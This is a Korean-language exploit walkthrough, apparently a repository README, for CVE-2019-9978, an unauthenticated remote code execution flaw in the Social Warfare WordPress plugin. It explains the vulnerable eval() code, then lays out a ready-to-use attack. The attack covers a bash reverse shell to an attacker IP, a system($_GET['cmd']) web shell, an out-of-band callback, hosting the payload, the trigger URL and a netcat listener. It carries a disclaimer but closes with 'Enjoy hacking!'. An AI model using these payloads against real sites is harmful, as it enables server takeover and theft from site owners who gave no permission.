
CVE-2019-9978에 대한 완전한 워크스루 및 익스플로잇 - Social Warfare WordPress 플러그인 ≤ 3.5.2의 인증되지 않은 원격 코드 실행. 취약한 코드 분석 및 페이로드 예제를 포함합니다.

⚠️ 면책 조항: 이 저장소는 교육 및 승인된 보안 테스트 용도로만 사용됩니다. 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 테스트하세요. 무단 접근은 불법입니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2019-9978 |
| 영향을 받는 소프트웨어 | Social Warfare 플러그인 ≤ 3.5.2 (WordPress) |
| 취약점 유형 | 원격 코드 실행 (RCE) / 원격 파일 포함 (RFI) |
| 인증 필요 여부 | ❌ 아니요 – 인증 불필요 |
| CVSS 점수 | 9.8 (치명적) |
| 수정된 버전 | 버전 3.5.3 |
| 실제 공격 사례 | 있음 – 2019년 3월 |
Social Warfare 플러그인은 웹사이트에 소셜 공유 버튼을 추가하는 인기 있는 WordPress 플러그인입니다. 3.5.0부터 3.5.2까지의 버전에는 인증 없이 서버에서 임의의 PHP 코드를 실행할 수 있는 치명적인 RCE 취약점이 존재합니다.
Social Warfare는 웹사이트에 소셜 공유 버튼을 추가하여 방문자가 다음 플랫폼에서 콘텐츠를 쉽게 공유할 수 있도록 하는 인기 있는 WordPress 플러그인입니다:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ 치명적인 오해:
// is_admin()은 페이지가 /wp-admin/ 경로에 있는지만 확인합니다.
// 인증 또는 사용자 권한을 확인하지 않습니다!
if ( is_admin() ) {
wp_die( '이 페이지를 볼 권한이 없습니다.' );
}
// 1단계: 사용자가 제공한 URL에서 원격 파일 가져오기
// 검증, 정화, 허용 목록이 전혀 없음!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// 2단계: <pre> 태그 사이의 내용 추출
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// 3단계: PHP 코드 문자열 구성
$array = 'return ' . $options . ';';
// 4단계: 💀 치명적 결함 - 사용자가 제공한 코드가 실행됨!
try {
$fetched_options = eval( $array ); // <-- 원격 코드 실행
// ... 나머지 마이그레이션 로직
} catch ( ParseError $e ) {
// ... 오류 처리
}
}
is_admin()이 보안이 아닌 이유WordPress 함수 is_admin()은 사용자가 로그인했거나 관리자 권한을 가지고 있는지 확인하지 않습니다. 단지 요청된 페이지가 /wp-admin/ 디렉토리 내에 있는지만 확인합니다:
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// 인증을 확인하지 않음!
// 사용자 역할을 확인하지 않음!
}
아이러니: /wp-admin/admin-post.php에 접근하면 WordPress는 WP_ADMIN = true를 정의합니다. 이로 인해 인증되지 않은 요청에서도 is_admin()이 true를 반환하게 되어 취약한 코드 블록이 실행되도록 활성화됩니다.
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- 원격 코드 실행
}
이 플러그인에는 외부 URL에서 설정 파일을 로드하는 데 사용되어야 하는 숨겨진 "디버그" 기능이 있었습니다. 그러나 이 기능에는 치명적인 결함이 있었습니다. 사용자가 제공한 URL에서 모든 파일을 다운로드하고 그 안에 있는 모든 코드를 실행했습니다 — 허가를 요청하거나 사용자가 권한이 있는지 확인하지 않았습니다.
익스플로잇은 간단합니다:
공격자는 자신의 서버에 악성 파일을 호스팅하고, 플러그인에 이를 다운로드하도록 지시하면, 플러그인은 맹목적으로 공격자의 코드를 피해자의 웹사이트에서 실행합니다. 이 기능을 트리거하기 위해 로그인이 필요하지 않으므로 해당 URL을 아는 사람은 누구나 웹사이트를 장악할 수 있습니다.
다음과 같이 생각해보세요: "디버그 모드"라고 말하면 출입증이나 직원인지 확인하지 않고 아무 문이나 열어주는 보안 요원을 상상해보세요. 이것이 바로 이 취약점이 한 일입니다.
익스플로잇은 2개의 <pre></pre> 태그 사이에 작성되어야 합니다.
WPScan을 사용하여 Social Warfare 플러그인 버전을 확인합니다:
wpscan --url http://target.com --enumerate vp
직접 설치한 경우 관리자 패널에서 플러그인을 활성화하는 것을 잊지 마세요.
원하는 페이로드로 payload.txt를 생성한 후, 해당 페이로드를 제공할 서버를 만듭니다.
페이로드 예시:
테스트 페이로드 (RCE 확인):
<pre>phpinfo();</pre>
대역 외 테스트:
<pre>@file_get_contents('http://burp collabrator');</pre>
Linux 리버스 셸:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
대화형 명령 실행기:
<pre>system($_GET['cmd']);</pre>
Python HTTP 서버를 시작하여 페이로드를 호스팅합니다:
python3 -m http.server 8000
이제 페이로드는 다음 주소에서 접근 가능합니다: http://YOUR_IP:8000/payload.txt
로컬호스트를 사용하는 경우:
http://127.0.0.1:8000/payload.txt
취약한 코드에서 요청을 보낸 후 200 상태 코드가 표시되어야 합니다:

옵션 A – 수동 트리거:
브라우저에서 이 URL을 방문하거나 curl을 사용합니다:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
로컬호스트를 사용하는 경우:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
성공하면 셸을 획득할 수 있습니다!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

해킹을 즐기세요! 🚀